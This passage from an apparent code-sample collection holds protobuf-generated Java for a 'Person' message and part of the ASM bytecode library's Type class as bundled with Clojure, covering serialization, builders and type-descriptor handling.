(com.google.protobuf.ByteString) ref;\n        java.lang.String s = bs.toStringUtf8();\n        if (bs.isValidUtf8()) {\n          name_ = s;\n        }\n        return s;\n      }\n    }\n    /**\n     * <code>required string name = 1;</code>\n     */\n    public com.google.protobuf.ByteString\n        getNameBytes() {\n      java.lang.Object ref = name_;\n      if (ref instanceof java.lang.String) {\n        com.google.protobuf.ByteString b = \n            com.google.protobuf.ByteString.copyFromUtf8(\n                (java.lang.String) ref);\n        name_ = b;\n        return b;\n      } else {\n        return (com.google.protobuf.ByteString) ref;\n      }\n    }\n\n    private void initFields() {\n      name_ = \"\";\n    }\n    private byte memoizedIsInitialized = -1;\n    public final boolean isInitialized() {\n      byte isInitialized = memoizedIsInitialized;\n      if (isInitialized != -1) return isInitialized == 1;\n\n      if (!hasName()) {\n        memoizedIsInitialized = 0;\n        return false;\n      }\n      memoizedIsInitialized = 1;\n      return true;\n    }\n\n    public void writeTo(com.google.protobuf.CodedOutputStream output)\n                        throws java.io.IOException {\n      getSerializedSize();\n      if (((bitField0_ & 0x00000001) == 0x00000001)) {\n        output.writeBytes(1, getNameBytes());\n      }\n      getUnknownFields().writeTo(output);\n    }\n\n    private int memoizedSerializedSize = -1;\n    public int getSerializedSize() {\n      int size = memoizedSerializedSize;\n      if (size != -1) return size;\n\n      size = 0;\n      if (((bitField0_ & 0x00000001) == 0x00000001)) {\n        size += com.google.protobuf.CodedOutputStream\n          .computeBytesSize(1, getNameBytes());\n      }\n      size += getUnknownFields().getSerializedSize();\n      memoizedSerializedSize = size;\n      return size;\n    }\n\n    private static final long serialVersionUID = 0L;\n    @java.lang.Override\n    protected java.lang.Object writeReplace()\n        throws java.io.ObjectStreamException {\n      return super.writeReplace();\n    }\n\n    public static persons.ProtocolBuffer.Person parseFrom(\n        com.google.protobuf.ByteString data)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return PARSER.parseFrom(data);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(\n        com.google.protobuf.ByteString data,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return PARSER.parseFrom(data, extensionRegistry);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(byte[] data)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return PARSER.parseFrom(data);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(\n        byte[] data,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      return PARSER.parseFrom(data, extensionRegistry);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(java.io.InputStream input)\n        throws java.io.IOException {\n      return PARSER.parseFrom(input);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(\n        java.io.InputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws java.io.IOException {\n      return PARSER.parseFrom(input, extensionRegistry);\n    }\n    public static persons.ProtocolBuffer.Person parseDelimitedFrom(java.io.InputStream input)\n        throws java.io.IOException {\n      return PARSER.parseDelimitedFrom(input);\n    }\n    public static persons.ProtocolBuffer.Person parseDelimitedFrom(\n        java.io.InputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws java.io.IOException {\n      return PARSER.parseDelimitedFrom(input, extensionRegistry);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(\n        com.google.protobuf.CodedInputStream input)\n        throws java.io.IOException {\n      return PARSER.parseFrom(input);\n    }\n    public static persons.ProtocolBuffer.Person parseFrom(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws java.io.IOException {\n      return PARSER.parseFrom(input, extensionRegistry);\n    }\n\n    public static Builder newBuilder() { return Builder.create(); }\n    public Builder newBuilderForType() { return newBuilder(); }\n    public static Builder newBuilder(persons.ProtocolBuffer.Person prototype) {\n      return newBuilder().mergeFrom(prototype);\n    }\n    public Builder toBuilder() { return newBuilder(this); }\n\n    @java.lang.Override\n    protected Builder newBuilderForType(\n        com.google.protobuf.GeneratedMessage.BuilderParent parent) {\n      Builder builder = new Builder(parent);\n      return builder;\n    }\n    /**\n     * Protobuf type {@code persons.Person}\n     */\n    public static final class Builder extends\n        com.google.protobuf.GeneratedMessage.Builder<Builder>\n       implements persons.ProtocolBuffer.PersonOrBuilder {\n      public static final com.google.protobuf.Descriptors.Descriptor\n          getDescriptor() {\n        return persons.ProtocolBuffer.internal_static_persons_Person_descriptor;\n      }\n\n      protected com.google.protobuf.GeneratedMessage.FieldAccessorTable\n          internalGetFieldAccessorTable() {\n        return persons.ProtocolBuffer.internal_static_persons_Person_fieldAccessorTable\n            .ensureFieldAccessorsInitialized(\n                persons.ProtocolBuffer.Person.class, persons.ProtocolBuffer.Person.Builder.class);\n      }\n\n      // Construct using persons.ProtocolBuffer.Person.newBuilder()\n      private Builder() {\n        maybeForceBuilderInitialization();\n      }\n\n      private Builder(\n          com.google.protobuf.GeneratedMessage.BuilderParent parent) {\n        super(parent);\n        maybeForceBuilderInitialization();\n      }\n      private void maybeForceBuilderInitialization() {\n        if (com.google.protobuf.GeneratedMessage.alwaysUseFieldBuilders) {\n        }\n      }\n      private static Builder create() {\n        return new Builder();\n      }\n\n      public Builder clear() {\n        super.clear();\n        name_ = \"\";\n        bitField0_ = (bitField0_ & ~0x00000001);\n        return this;\n      }\n\n      public Builder clone() {\n        return create().mergeFrom(buildPartial());\n      }\n\n      public com.google.protobuf.Descriptors.Descriptor\n          getDescriptorForType() {\n        return persons.ProtocolBuffer.internal_static_persons_Person_descriptor;\n      }\n\n      public persons.ProtocolBuffer.Person getDefaultInstanceForType() {\n        return persons.ProtocolBuffer.Person.getDefaultInstance();\n      }\n\n      public persons.ProtocolBuffer.Person build() {\n        persons.ProtocolBuffer.Person result = buildPartial();\n        if (!result.isInitialized()) {\n          throw newUninitializedMessageException(result);\n        }\n        return result;\n      }\n\n      public persons.ProtocolBuffer.Person buildPartial() {\n        persons.ProtocolBuffer.Person result = new persons.ProtocolBuffer.Person(this);\n        int from_bitField0_ = bitField0_;\n        int to_bitField0_ = 0;\n        if (((from_bitField0_ & 0x00000001) == 0x00000001)) {\n          to_bitField0_ |= 0x00000001;\n        }\n        result.name_ = name_;\n        result.bitField0_ = to_bitField0_;\n        onBuilt();\n        return result;\n      }\n\n      public Builder mergeFrom(com.google.protobuf.Message other) {\n        if (other instanceof persons.ProtocolBuffer.Person) {\n          return mergeFrom((persons.ProtocolBuffer.Person)other);\n        } else {\n          super.mergeFrom(other);\n          return this;\n        }\n      }\n\n      public Builder mergeFrom(persons.ProtocolBuffer.Person other) {\n        if (other == persons.ProtocolBuffer.Person.getDefaultInstance()) return this;\n        if (other.hasName()) {\n          bitField0_ |= 0x00000001;\n          name_ = other.name_;\n          onChanged();\n        }\n        this.mergeUnknownFields(other.getUnknownFields());\n        return this;\n      }\n\n      public final boolean isInitialized() {\n        if (!hasName()) {\n          \n          return false;\n        }\n        return true;\n      }\n\n      public Builder mergeFrom(\n          com.google.protobuf.CodedInputStream input,\n          com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n          throws java.io.IOException {\n        persons.ProtocolBuffer.Person parsedMessage = null;\n        try {\n          parsedMessage = PARSER.parsePartialFrom(input, extensionRegistry);\n        } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n          parsedMessage = (persons.ProtocolBuffer.Person) e.getUnfinishedMessage();\n          throw e;\n        } finally {\n          if (parsedMessage != null) {\n            mergeFrom(parsedMessage);\n          }\n        }\n        return this;\n      }\n      private int bitField0_;\n\n      // required string name = 1;\n      private java.lang.Object name_ = \"\";\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public boolean hasName() {\n        return ((bitField0_ & 0x00000001) == 0x00000001);\n      }\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public java.lang.String getName() {\n        java.lang.Object ref = name_;\n        if (!(ref instanceof java.lang.String)) {\n          java.lang.String s = ((com.google.protobuf.ByteString) ref)\n              .toStringUtf8();\n          name_ = s;\n          return s;\n        } else {\n          return (java.lang.String) ref;\n        }\n      }\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public com.google.protobuf.ByteString\n          getNameBytes() {\n        java.lang.Object ref = name_;\n        if (ref instanceof String) {\n          com.google.protobuf.ByteString b = \n              com.google.protobuf.ByteString.copyFromUtf8(\n                  (java.lang.String) ref);\n          name_ = b;\n          return b;\n        } else {\n          return (com.google.protobuf.ByteString) ref;\n        }\n      }\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public Builder setName(\n          java.lang.String value) {\n        if (value == null) {\n    throw new NullPointerException();\n  }\n  bitField0_ |= 0x00000001;\n        name_ = value;\n        onChanged();\n        return this;\n      }\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public Builder clearName() {\n        bitField0_ = (bitField0_ & ~0x00000001);\n        name_ = getDefaultInstance().getName();\n        onChanged();\n        return this;\n      }\n      /**\n       * <code>required string name = 1;</code>\n       */\n      public Builder setNameBytes(\n          com.google.protobuf.ByteString value) {\n        if (value == null) {\n    throw new NullPointerException();\n  }\n  bitField0_ |= 0x00000001;\n        name_ = value;\n        onChanged();\n        return this;\n      }\n\n      // @@protoc_insertion_point(builder_scope:persons.Person)\n    }\n\n    static {\n      defaultInstance = new Person(true);\n      defaultInstance.initFields();\n    }\n\n    // @@protoc_insertion_point(class_scope:persons.Person)\n  }\n\n  private static com.google.protobuf.Descriptors.Descriptor\n    internal_static_persons_Person_descriptor;\n  private static\n    com.google.protobuf.GeneratedMessage.FieldAccessorTable\n      internal_static_persons_Person_fieldAccessorTable;\n\n  public static com.google.protobuf.Descriptors.FileDescriptor\n      getDescriptor() {\n    return descriptor;\n  }\n  private static com.google.protobuf.Descriptors.FileDescriptor\n      descriptor;\n  static {\n    java.lang.String[] descriptorData = {\n      \"\\n\\025protocol-buffer.proto\\022\\007persons\\\"\\026\\n\\006Pers\" +\n      \"on\\022\\014\\n\\004name\\030\\001 \\002(\\t\"\n    };\n    com.google.protobuf.Descriptors.FileDescriptor.InternalDescriptorAssigner assigner =\n      new com.google.protobuf.Descriptors.FileDescriptor.InternalDescriptorAssigner() {\n        public com.google.protobuf.ExtensionRegistry assignDescriptors(\n            com.google.protobuf.Descriptors.FileDescriptor root) {\n          descriptor = root;\n          internal_static_persons_Person_descriptor =\n            getDescriptor().getMessageTypes().get(0);\n          internal_static_persons_Person_fieldAccessorTable = new\n            com.google.protobuf.GeneratedMessage.FieldAccessorTable(\n              internal_static_persons_Person_descriptor,\n              new java.lang.String[] { \"Name\", });\n          return null;\n        }\n      };\n    com.google.protobuf.Descriptors.FileDescriptor\n      .internalBuildGeneratedFileFrom(descriptorData,\n        new com.google.protobuf.Descriptors.FileDescriptor[] {\n        }, assigner);\n  }\n\n  // @@protoc_insertion_point(outer_class_scope)\n}\n"
  },
  {
    "path": "samples/Java/clojure-type.java",
    "content": "/***\r\n * ASM: a very small and fast Java bytecode manipulation framework\r\n * Copyright (c) 2000-2005 INRIA, France Telecom\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n * 1. Redistributions of source code must retain the above copyright\r\n *    notice, this list of conditions and the following disclaimer.\r\n * 2. Redistributions in binary form must reproduce the above copyright\r\n *    notice, this list of conditions and the following disclaimer in the\r\n *    documentation and/or other materials provided with the distribution.\r\n * 3. Neither the name of the copyright holders nor the names of its\r\n *    contributors may be used to endorse or promote products derived from\r\n *    this software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\r\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\r\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\r\n * THE POSSIBILITY OF SUCH DAMAGE.\r\n */\r\npackage clojure.asm;\r\n\r\nimport java.lang.reflect.Constructor;\r\nimport java.lang.reflect.Method;\r\n\r\n/**\r\n * A Java type. This class can be used to make it easier to manipulate type and\r\n * method descriptors.\r\n *\r\n * @author Eric Bruneton\r\n * @author Chris Nokleberg\r\n */\r\npublic class Type{\r\n\r\n/**\r\n * The sort of the <tt>void</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int VOID = 0;\r\n\r\n/**\r\n * The sort of the <tt>boolean</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int BOOLEAN = 1;\r\n\r\n/**\r\n * The sort of the <tt>char</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int CHAR = 2;\r\n\r\n/**\r\n * The sort of the <tt>byte</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int BYTE = 3;\r\n\r\n/**\r\n * The sort of the <tt>short</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int SHORT = 4;\r\n\r\n/**\r\n * The sort of the <tt>int</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int INT = 5;\r\n\r\n/**\r\n * The sort of the <tt>float</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int FLOAT = 6;\r\n\r\n/**\r\n * The sort of the <tt>long</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int LONG = 7;\r\n\r\n/**\r\n * The sort of the <tt>double</tt> type. See {@link #getSort getSort}.\r\n */\r\npublic final static int DOUBLE = 8;\r\n\r\n/**\r\n * The sort of array reference types. See {@link #getSort getSort}.\r\n */\r\npublic final static int ARRAY = 9;\r\n\r\n/**\r\n * The sort of object reference type. See {@link #getSort getSort}.\r\n */\r\npublic final static int OBJECT = 10;\r\n\r\n/**\r\n * The <tt>void</tt> type.\r\n */\r\npublic final static Type VOID_TYPE = new Type(VOID);\r\n\r\n/**\r\n * The <tt>boolean</tt> type.\r\n */\r\npublic final static Type BOOLEAN_TYPE = new Type(BOOLEAN);\r\n\r\n/**\r\n * The <tt>char</tt> type.\r\n */\r\npublic final static Type CHAR_TYPE = new Type(CHAR);\r\n\r\n/**\r\n * The <tt>byte</tt> type.\r\n */\r\npublic final static Type BYTE_TYPE = new Type(BYTE);\r\n\r\n/**\r\n * The <tt>short</tt> type.\r\n */\r\npublic final static Type SHORT_TYPE = new Type(SHORT);\r\n\r\n/**\r\n * The <tt>int</tt> type.\r\n */\r\npublic final static Type INT_TYPE = new Type(INT);\r\n\r\n/**\r\n * The <tt>float</tt> type.\r\n */\r\npublic final static Type FLOAT_TYPE = new Type(FLOAT);\r\n\r\n/**\r\n * The <tt>long</tt> type.\r\n */\r\npublic final static Type LONG_TYPE = new Type(LONG);\r\n\r\n/**\r\n * The <tt>double</tt> type.\r\n */\r\npublic final static Type DOUBLE_TYPE = new Type(DOUBLE);\r\n\r\n// ------------------------------------------------------------------------\r\n// Fields\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * The sort of this Java type.\r\n */\r\nprivate final int sort;\r\n\r\n/**\r\n * A buffer containing the descriptor of this Java type. This field is only\r\n * used for reference types.\r\n */\r\nprivate char[] buf;\r\n\r\n/**\r\n * The offset of the descriptor of this Java type in {@link #buf buf}. This\r\n * field is only used for reference types.\r\n */\r\nprivate int off;\r\n\r\n/**\r\n * The length of the descriptor of this Java type.\r\n */\r\nprivate int len;\r\n\r\n// ------------------------------------------------------------------------\r\n// Constructors\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Constructs a primitive type.\r\n *\r\n * @param sort the sort of the primitive type to be constructed.\r\n */\r\nprivate Type(final int sort){\r\n\tthis.sort = sort;\r\n\tthis.len = 1;\r\n}\r\n\r\n/**\r\n * Constructs a reference type.\r\n *\r\n * @param sort the sort of the reference type to be constructed.\r\n * @param buf  a buffer containing the descriptor of the previous type.\r\n * @param off  the offset of this descriptor in the previous buffer.\r\n * @param len  the length of this descriptor.\r\n */\r\nprivate Type(final int sort, final char[] buf, final int off, final int len){\r\n\tthis.sort = sort;\r\n\tthis.buf = buf;\r\n\tthis.off = off;\r\n\tthis.len = len;\r\n}\r\n\r\n/**\r\n * Returns the Java type corresponding to the given type descriptor.\r\n *\r\n * @param typeDescriptor a type descriptor.\r\n * @return the Java type corresponding to the given type descriptor.\r\n */\r\npublic static Type getType(final String typeDescriptor){\r\n\treturn getType(typeDescriptor.toCharArray(), 0);\r\n}\r\n\r\n/**\r\n * Returns the Java type corresponding to the given class.\r\n *\r\n * @param c a class.\r\n * @return the Java type corresponding to the given class.\r\n */\r\npublic static Type getType(final Class c){\r\n\tif(c.isPrimitive())\r\n\t\t{\r\n\t\tif(c == Integer.TYPE)\r\n\t\t\t{\r\n\t\t\treturn INT_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Void.TYPE)\r\n\t\t\t{\r\n\t\t\treturn VOID_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Boolean.TYPE)\r\n\t\t\t{\r\n\t\t\treturn BOOLEAN_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Byte.TYPE)\r\n\t\t\t{\r\n\t\t\treturn BYTE_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Character.TYPE)\r\n\t\t\t{\r\n\t\t\treturn CHAR_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Short.TYPE)\r\n\t\t\t{\r\n\t\t\treturn SHORT_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Double.TYPE)\r\n\t\t\t{\r\n\t\t\treturn DOUBLE_TYPE;\r\n\t\t\t}\r\n\t\telse if(c == Float.TYPE)\r\n\t\t\t{\r\n\t\t\treturn FLOAT_TYPE;\r\n\t\t\t}\r\n\t\telse /* if (c == Long.TYPE) */\r\n\t\t\t{\r\n\t\t\treturn LONG_TYPE;\r\n\t\t\t}\r\n\t\t}\r\n\telse\r\n\t\t{\r\n\t\treturn getType(getDescriptor(c));\r\n\t\t}\r\n}\r\n\r\n/**\r\n * Returns the {@link Type#OBJECT} type for the given internal class name.\r\n * This is a shortcut method for <code>Type.getType(\"L\"+name+\";\")</code>.\r\n * <i>Note that opposed to {@link Type#getType(String)}, this method takes\r\n * internal class names and not class descriptor.</i>\r\n *\r\n * @param name an internal class name.\r\n * @return the the {@link Type#OBJECT} type for the given class name.\r\n */\r\npublic static Type getObjectType(String name){\r\n\tint l = name.length();\r\n\tchar[] buf = new char[l + 2];\r\n\tbuf[0] = 'L';\r\n\tbuf[l + 1] = ';';\r\n\tname.getChars(0, l, buf, 1);\r\n\treturn new Type(OBJECT, buf, 0, l + 2);\r\n}\r\n\r\n/**\r\n * Returns the Java types corresponding to the argument types of the given\r\n * method descriptor.\r\n *\r\n * @param methodDescriptor a method descriptor.\r\n * @return the Java types corresponding to the argument types of the given\r\n *         method descriptor.\r\n */\r\npublic static Type[] getArgumentTypes(final String methodDescriptor){\r\n\tchar[] buf = methodDescriptor.toCharArray();\r\n\tint off = 1;\r\n\tint size = 0;\r\n\twhile(true)\r\n\t\t{\r\n\t\tchar car = buf[off++];\r\n\t\tif(car == ')')\r\n\t\t\t{\r\n\t\t\tbreak;\r\n\t\t\t}\r\n\t\telse if(car == 'L')\r\n\t\t\t{\r\n\t\t\twhile(buf[off++] != ';')\r\n\t\t\t\t{\r\n\t\t\t\t}\r\n\t\t\t++size;\r\n\t\t\t}\r\n\t\telse if(car != '[')\r\n\t\t\t{\r\n\t\t\t++size;\r\n\t\t\t}\r\n\t\t}\r\n\tType[] args = new Type[size];\r\n\toff = 1;\r\n\tsize = 0;\r\n\twhile(buf[off] != ')')\r\n\t\t{\r\n\t\targs[size] = getType(buf, off);\r\n\t\toff += args[size].len;\r\n\t\tsize += 1;\r\n\t\t}\r\n\treturn args;\r\n}\r\n\r\n/**\r\n * Returns the Java types corresponding to the argument types of the given\r\n * method.\r\n *\r\n * @param method a method.\r\n * @return the Java types corresponding to the argument types of the given\r\n *         method.\r\n */\r\npublic static Type[] getArgumentTypes(final Method method){\r\n\tClass[] classes = method.getParameterTypes();\r\n\tType[] types = new Type[classes.length];\r\n\tfor(int i = classes.length - 1; i >= 0; --i)\r\n\t\t{\r\n\t\ttypes[i] = getType(classes[i]);\r\n\t\t}\r\n\treturn types;\r\n}\r\n\r\n/**\r\n * Returns the Java type corresponding to the return type of the given\r\n * method descriptor.\r\n *\r\n * @param methodDescriptor a method descriptor.\r\n * @return the Java type corresponding to the return type of the given\r\n *         method descriptor.\r\n */\r\npublic static Type getReturnType(final String methodDescriptor){\r\n\tchar[] buf = methodDescriptor.toCharArray();\r\n\treturn getType(buf, methodDescriptor.indexOf(')') + 1);\r\n}\r\n\r\n/**\r\n * Returns the Java type corresponding to the return type of the given\r\n * method.\r\n *\r\n * @param method a method.\r\n * @return the Java type corresponding to the return type of the given\r\n *         method.\r\n */\r\npublic static Type getReturnType(final Method method){\r\n\treturn getType(method.getReturnType());\r\n}\r\n\r\n/**\r\n * Returns the Java type corresponding to the given type descriptor.\r\n *\r\n * @param buf a buffer containing a type descriptor.\r\n * @param off the offset of this descriptor in the previous buffer.\r\n * @return the Java type corresponding to the given type descriptor.\r\n */\r\nprivate static Type getType(final char[] buf, final int off){\r\n\tint len;\r\n\tswitch(buf[off])\r\n\t\t{\r\n\t\tcase'V':\r\n\t\t\treturn VOID_TYPE;\r\n\t\tcase'Z':\r\n\t\t\treturn BOOLEAN_TYPE;\r\n\t\tcase'C':\r\n\t\t\treturn CHAR_TYPE;\r\n\t\tcase'B':\r\n\t\t\treturn BYTE_TYPE;\r\n\t\tcase'S':\r\n\t\t\treturn SHORT_TYPE;\r\n\t\tcase'I':\r\n\t\t\treturn INT_TYPE;\r\n\t\tcase'F':\r\n\t\t\treturn FLOAT_TYPE;\r\n\t\tcase'J':\r\n\t\t\treturn LONG_TYPE;\r\n\t\tcase'D':\r\n\t\t\treturn DOUBLE_TYPE;\r\n\t\tcase'[':\r\n\t\t\tlen = 1;\r\n\t\t\twhile(buf[off + len] == '[')\r\n\t\t\t\t{\r\n\t\t\t\t++len;\r\n\t\t\t\t}\r\n\t\t\tif(buf[off + len] == 'L')\r\n\t\t\t\t{\r\n\t\t\t\t++len;\r\n\t\t\t\twhile(buf[off + len] != ';')\r\n\t\t\t\t\t{\r\n\t\t\t\t\t++len;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\treturn new Type(ARRAY, buf, off, len + 1);\r\n\t\t\t// case 'L':\r\n\t\tdefault:\r\n\t\t\tlen = 1;\r\n\t\t\twhile(buf[off + len] != ';')\r\n\t\t\t\t{\r\n\t\t\t\t++len;\r\n\t\t\t\t}\r\n\t\t\treturn new Type(OBJECT, buf, off, len + 1);\r\n\t\t}\r\n}\r\n\r\n// ------------------------------------------------------------------------\r\n// Accessors\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Returns the sort of this Java type.\r\n *\r\n * @return {@link #VOID VOID}, {@link #BOOLEAN BOOLEAN},\r\n *         {@link #CHAR CHAR}, {@link #BYTE BYTE}, {@link #SHORT SHORT},\r\n *         {@link #INT INT}, {@link #FLOAT FLOAT}, {@link #LONG LONG},\r\n *         {@link #DOUBLE DOUBLE}, {@link #ARRAY ARRAY} or\r\n *         {@link #OBJECT OBJECT}.\r\n */\r\npublic int getSort(){\r\n\treturn sort;\r\n}\r\n\r\n/**\r\n * Returns the number of dimensions of this array type. This method should\r\n * only be used for an array type.\r\n *\r\n * @return the number of dimensions of this array type.\r\n */\r\npublic int getDimensions(){\r\n\tint i = 1;\r\n\twhile(buf[off + i] == '[')\r\n\t\t{\r\n\t\t++i;\r\n\t\t}\r\n\treturn i;\r\n}\r\n\r\n/**\r\n * Returns the type of the elements of this array type. This method should\r\n * only be used for an array type.\r\n *\r\n * @return Returns the type of the elements of this array type.\r\n */\r\npublic Type getElementType(){\r\n\treturn getType(buf, off + getDimensions());\r\n}\r\n\r\n/**\r\n * Returns the name of the class corresponding to this type.\r\n *\r\n * @return the fully qualified name of the class corresponding to this type.\r\n */\r\npublic String getClassName(){\r\n\tswitch(sort)\r\n\t\t{\r\n\t\tcase VOID:\r\n\t\t\treturn \"void\";\r\n\t\tcase BOOLEAN:\r\n\t\t\treturn \"boolean\";\r\n\t\tcase CHAR:\r\n\t\t\treturn \"char\";\r\n\t\tcase BYTE:\r\n\t\t\treturn \"byte\";\r\n\t\tcase SHORT:\r\n\t\t\treturn \"short\";\r\n\t\tcase INT:\r\n\t\t\treturn \"int\";\r\n\t\tcase FLOAT:\r\n\t\t\treturn \"float\";\r\n\t\tcase LONG:\r\n\t\t\treturn \"long\";\r\n\t\tcase DOUBLE:\r\n\t\t\treturn \"double\";\r\n\t\tcase ARRAY:\r\n\t\t\tStringBuffer b = new StringBuffer(getElementType().getClassName());\r\n\t\t\tfor(int i = getDimensions(); i > 0; --i)\r\n\t\t\t\t{\r\n\t\t\t\tb.append(\"[]\");\r\n\t\t\t\t}\r\n\t\t\treturn b.toString();\r\n\t\t\t// case OBJECT:\r\n\t\tdefault:\r\n\t\t\treturn new String(buf, off + 1, len - 2).replace('/', '.');\r\n\t\t}\r\n}\r\n\r\n/**\r\n * Returns the internal name of the class corresponding to this object type.\r\n * The internal name of a class is its fully qualified name, where '.' are\r\n * replaced by '/'. This method should only be used for an object type.\r\n *\r\n * @return the internal name of the class corresponding to this object type.\r\n */\r\npublic String getInternalName(){\r\n\treturn new String(buf, off + 1, len - 2);\r\n}\r\n\r\n// ------------------------------------------------------------------------\r\n// Conversion to type descriptors\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Returns the descriptor corresponding to this Java type.\r\n *\r\n * @return the descriptor corresponding to this Java type.\r\n */\r\npublic String getDescriptor(){\r\n\tStringBuffer buf = new StringBuffer();\r\n\tgetDescriptor(buf);\r\n\treturn buf.toString();\r\n}\r\n\r\n/**\r\n * Returns the descriptor corresponding to the given argument and return\r\n * types.\r\n *\r\n * @param returnType    the return type of the method.\r\n * @param argumentTypes the argument types of the method.\r\n * @return the descriptor corresponding to the given argument and return\r\n *         types.\r\n */\r\npublic static String getMethodDescriptor(\r\n\t\tfinal Type returnType,\r\n\t\tfinal Type[] argumentTypes){\r\n\tStringBuffer buf = new StringBuffer();\r\n\tbuf.append('(');\r\n\tfor(int i = 0; i < argumentTypes.length; ++i)\r\n\t\t{\r\n\t\targumentTypes[i].getDescriptor(buf);\r\n\t\t}\r\n\tbuf.append(')');\r\n\treturnType.getDescriptor(buf);\r\n\treturn buf.toString();\r\n}\r\n\r\n/**\r\n * Appends the descriptor corresponding to this Java type to the given\r\n * string buffer.\r\n *\r\n * @param buf the string buffer to which the descriptor must be appended.\r\n */\r\nprivate void getDescriptor(final StringBuffer buf){\r\n\tswitch(sort)\r\n\t\t{\r\n\t\tcase VOID:\r\n\t\t\tbuf.append('V');\r\n\t\t\treturn;\r\n\t\tcase BOOLEAN:\r\n\t\t\tbuf.append('Z');\r\n\t\t\treturn;\r\n\t\tcase CHAR:\r\n\t\t\tbuf.append('C');\r\n\t\t\treturn;\r\n\t\tcase BYTE:\r\n\t\t\tbuf.append('B');\r\n\t\t\treturn;\r\n\t\tcase SHORT:\r\n\t\t\tbuf.append('S');\r\n\t\t\treturn;\r\n\t\tcase INT:\r\n\t\t\tbuf.append('I');\r\n\t\t\treturn;\r\n\t\tcase FLOAT:\r\n\t\t\tbuf.append('F');\r\n\t\t\treturn;\r\n\t\tcase LONG:\r\n\t\t\tbuf.append('J');\r\n\t\t\treturn;\r\n\t\tcase DOUBLE:\r\n\t\t\tbuf.append('D');\r\n\t\t\treturn;\r\n\t\t\t// case ARRAY:\r\n\t\t\t// case OBJECT:\r\n\t\tdefault:\r\n\t\t\tbuf.append(this.buf, off, len);\r\n\t\t}\r\n}\r\n\r\n// ------------------------------------------------------------------------\r\n// Direct conversion from classes to type descriptors,\r\n// without intermediate Type objects\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Returns the internal name of the given class. The internal name of a\r\n * class is its fully qualified name, where '.' are replaced by '/'.\r\n *\r\n * @param c an object class.\r\n * @return the internal name of the given class.\r\n */\r\npublic static String getInternalName(final Class c){\r\n\treturn c.getName().replace('.', '/');\r\n}\r\n\r\n/**\r\n * Returns the descriptor corresponding to the given Java type.\r\n *\r\n * @param c an object class, a primitive class or an array class.\r\n * @return the descriptor corresponding to the given class.\r\n */\r\npublic static String getDescriptor(final Class c){\r\n\tStringBuffer buf = new StringBuffer();\r\n\tgetDescriptor(buf, c);\r\n\treturn buf.toString();\r\n}\r\n\r\n/**\r\n * Returns the descriptor corresponding to the given constructor.\r\n *\r\n * @param c a {@link Constructor Constructor} object.\r\n * @return the descriptor of the given constructor.\r\n */\r\npublic static String getConstructorDescriptor(final Constructor c){\r\n\tClass[] parameters = c.getParameterTypes();\r\n\tStringBuffer buf = new StringBuffer();\r\n\tbuf.append('(');\r\n\tfor(int i = 0; i < parameters.length; ++i)\r\n\t\t{\r\n\t\tgetDescriptor(buf, parameters[i]);\r\n\t\t}\r\n\treturn 